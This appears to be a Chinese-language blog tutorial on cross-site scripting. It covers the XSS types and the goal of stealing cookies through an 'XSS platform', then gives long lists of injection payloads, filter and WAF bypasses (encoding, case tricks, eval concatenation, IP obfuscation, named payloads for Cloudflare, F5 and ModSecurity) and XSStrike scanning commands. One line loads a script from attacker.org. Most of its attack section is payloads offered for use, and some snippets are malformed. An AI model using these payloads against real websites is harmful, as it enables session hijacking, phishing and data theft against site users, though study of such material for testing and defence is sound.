什么是xss
和前面一篇文章csrf类似,还是需要我们有一定的h5,c3和js基础的
参考一下大佬的博客,这里的练习后面会慢慢补上的
https://blog.csdn.net/huangyongkang666/article/details/123624164?spm=1001.2014.3001.5506
XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export
xss原理
1.攻击者对含有漏洞的服务器发起xss攻击
2.诱使受害者打开收到攻击的服务器URL
3.受害者在web浏览器中打开url,恶意脚本执行
xss的攻击方式
反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理
存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。
DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理
xss的危害
1.挂马
2.盗取用户Cookie。
3.DOS(拒绝服务)客户端浏览器。
4.钓鱼攻击,高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为,甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题
xss的利用方式
1.需要一个xss平台来搜集cookie
2.对于反射型xss可构造链接,当用户点击时,用户cookie被发送到xss平台
3.窃取用户cookie之后再加以利用
常见xss攻击方式
一些常用的标签和属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| 1.script标签
<script>alert("xss");<script>
2.img标签
<img src=1 onerror=alert("xss");>
3.input标签 onfocus事件在对象获得焦点时发生
<input onfocus=alert(1);>
竞争焦点,从而触发onblur事件
<input onblur=alert(1) autofocus><input autofocus>
input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 原本:
<input onfocus="alert(1);" autofocus>
后来
" οnclick=alert(1)> 这样需要点击一下输入框<br>
" onmouseover=alert(1)> 需要鼠标划过输入框<br>
4.details标签 <details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:
<details ontoggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发
<details open ontoggle=alert(1);>
5.svg标签 <svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg onload=alert(1);>
6.select标签 <select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select onfocus=alert(1) autofocus>
7.iframe标签 <iframe> 标签会创建包含另外一个文档的内联框架。
<iframe onload=alert(1);></iframe>
8.video标签 <video> 标签定义视频,比如电影片段或其他视频流。
<video><source onerror=alert(1)>
9.dudio标签 <audio> 标签定义声音,比如音乐或其他音频流。
<audio src=x onerror=alert(1);>
10.body标签 <body> 标签定义文档的主体。 <body onload=alert(1);> onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发
<body onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
11.textarea标签
<textarea> 标签定义一个多行的文本输入控件。
<textarea onfocus=alert(1); autofocus>
12.keygen标签
<keygen autofocus onfocus=alert(1)> //仅限火狐
13.marquee标签
<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以
14.isindex标签
<isindex type=image src=1 onerror=alert(1)>//仅限于IE
|
常见过滤方法
不管是sql注入还是rce等等,都见过了很多的注入方式的绕过等等
1.空格过滤,我们可以使用/来代替空格
1 2 3 4 5 6 7 8
| /**/,注释符号绕过;/符号绕过;
<img/src="x"/onerror=alert(1);>
也可以:
<img/src="x"onerror=alert(1);>
|
2.引号绕过
1 2 3 4
| 如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:
<img src=x onerror=alert(`xss`);>
|
3.括号过滤
当括号被过滤的时候可以用throw来绕过。throw语句用于当错误发生时抛出一个错误
1 2 3
| <img src=x onerror="javascript:window.onerror=alert;throw 1"> <a onmouseover="javascript:window.onerror=alert;throw 1>
|
4.关键字绕过
(1)大小写绕过
1 2
| <sCRiPt>alert(1);</sCrIpT> <ImG sRc=x onerRor=alert(1);>
|
(2)双写绕过
有些waf可能只替换一次为空,这种情况下我们可以考虑双写绕过关键字过滤
1 2 3
| <scrscriptipt>alert(1);</scrscriptipt> <imimgg srsrcc=x onerror=alert(1);>
|
5.字符串拼接绕过
利用eval函数
与php的eval()函数相同,js的eval函数也可以计算js字符串,并把它当作脚本来执行
1 2 3
| <img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)"> <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> // 在js中,我们可以用反引号代替单双引号
|
6.编码绕过
1 2 3 4 5 6 7 8
| Unicode编码绕过
<img src="x" onerror="alert("xss");">
javascript:alert(/xss/) (编码了r和i)
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
|
1 2 3 4 5 6
| url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
|
1 2 3 4
| Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
|
1 2 3 4
| hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
|
1 2 3 4 5 6
| base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
|
7.过滤url地址
1 2 3 4 5 6
| 使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
javascript:alert('xsshttp://')
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| 使用IP
1.十进制IP <img src="x" onerror=document.location=`http://2130706433/`>
2.八进制IP <img src="x" onerror=document.location=`http://0177.0.0.01/`>
3.hex <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`> 4.html标签中用//可以代替http:// <img src="x" onerror=document.location=`//www.baidu.com`>
5.使用\\ 但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议
6.使用中文逗号代替英文逗号 如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号 <img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度
|
8.单引号闭合+htmlspecialchars函数绕过
‘onmouseover=’alert(/xss/)
9.js伪协议
1 2 3
| "><a href=javascript:alert(/xss/)> o_n和<scr_ipt>过滤
|
HttpOnly绕过
1.什么是HttpOnly?
如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,具体一点的介绍请google进行搜索
2.javaEE的API是否支持?
目前sun公司还没有公布相关的API,但PHP、C#均有实现。搞javaEE的兄弟们比较郁闷了,别急下文有变通实现
3.HttpOnly的设置样例
1 2 3
| javaEE response.setHeader(“Set-Cookie”, “cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly”);
|
具体参数的含义再次不做阐述,设置完毕后通过js脚本是读不到该cookie的,但使用如下方式可以读取
Cookie cookies[]=request.getCookies();
1 2 3 4
| C# HttpCookie myCookie = new HttpCookie("myCookie"); myCookie.HttpOnly = true; Response.AppendCookie(myCookie);
|
1 2 3 4
| VB.NET Dim myCookie As HttpCookie = new HttpCookie("myCookie") myCookie.HttpOnly = True Response.AppendCookie(myCookie)
|
但是在 .NET 1.1 ,中您需要手动添加
Response.Cookies[cookie].Path += “;HTTPOnly”;
PHP4
header(“Set-Cookie: hidden=value; httpOnly”);
PHP5
setcookie(“abc”, “test”, NULL, NULL, NULL, NULL, TRUE);
最后一个参数为HttpOnly属性
常规waf绕过思路
1.标签语法替换
1
| <scr<script>ipt>alert("XSS")</scr<script>ipt>
|
1 2
| <script>alert("XSS")</script> <script src="http://attacker.org/malicious.js"></script>
|
2.特殊符号干扰
3.提交方式更改
4.垃圾数据溢出
5.加密解密算法
6.结合其他漏洞绕过
1 2 3 4
| WAF名称:Cloudflare Payload:<a”/onclick=(confirm)()>click 绕过技术:非空格填充
|
1 2 3 4
| WAF名称:Wordfence Payload:<a/href=javascript:alert()>click 绕过技术:数字字符编码
|
1 2 3 4
| WAF名称:Barracuda Payload:<a/href=Java%0a%0d%09script:alert()>click 绕过技术:数字字符编码
|
1 2 3 4
| WAF名称:Comodo Payload:<d3v/onauxclick=(((confirm)))“>click 绕过技术:黑名单中缺少事件处理器以及函数调用混淆
|
1 2 3 4
| WAF名称:F5 Payload:<d3v/onmouseleave=[2].some(confirm)>click 绕过技术:黑名单中缺少事件处理器以及函数调用混淆
|
1 2 3 4
| WAF名称:ModSecurity Payload:<details/open/ontoggle=alert()> 绕过技术:黑名单中缺少标签或事件处理器
|
1 2 3 4
| WAF名称:dotdefender Payload:<details/open/ontoggle=(confirm)()// 绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆
|
10.XSStrike工具使用
项目地址:https://github.com/s0md3v/XSStrike
1.测试get方法的网页
1 2
| python xsstrike.py -u "http://example.com/search.php?q=query"
|
2.测试post参数
1 2 3
| python xsstrike.py -u "http://example.com/search.php" --data "q=query" python xsstrike.py -u "http://example.com/search.php" --data '{"q":"query"} --json'
|
3.测试URL路径
1 2
| python xsstrike.py -u "http://example.com/search/form/query" --path
|
4.从目标网页开始搜索目标并进行测试
1 2
| python xsstrike.py -u "http://example.com/page.php" --crawl
|
您可以指定爬网的深度,默认2:-l
1 2
| python xsstrike.py -u "http://example.com/page.php" --crawl -l 3
|
5.如果要测试文件中的URL,或者知识想添加种子进行爬网,则可以使用该-seeds选项
1 2
| python xsstrike.py --seeds urls.txt
|
6.查找隐藏的参数
通过解析HTML和暴力破解来查找隐藏的参数
1 2
| python xsstrike.py -u "http://example.com/page.php" --params
|
7.盲xss:爬行中使用此参数可向每个html表单里面的每个变量插入xss代码
1 2
| python xsstrike.py -u http://example.com/page.php?q=query --crawl --blind
|
8.模糊测试-fuzzer
该模糊器旨在测试过滤器和Web应用程序防火墙,可使用-d选项将延迟设置为1秒。
1 2
| python xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer
|
9.跳过DOM扫描
在爬网时可跳过DOM xss扫描,以节省时间
1 2
| python xsstrike.py -u "http://example.com/search.php?q=query" --skip-dom
|
小结
大概就是这样内容了,xss要难的话可以很难
多做题,多总结